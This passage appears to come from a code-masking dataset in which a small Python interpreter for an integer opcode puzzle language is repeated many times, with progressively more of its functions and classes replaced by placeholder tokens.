self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n <function token>\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n <function token>\n <function token>\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n <function token>\n <function token>\n\n def reads(self):\n return []\n <function token>\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n def reads(self):\n return []\n <function token>\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def op(self):\n return 'HALT'\n <function token>\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = 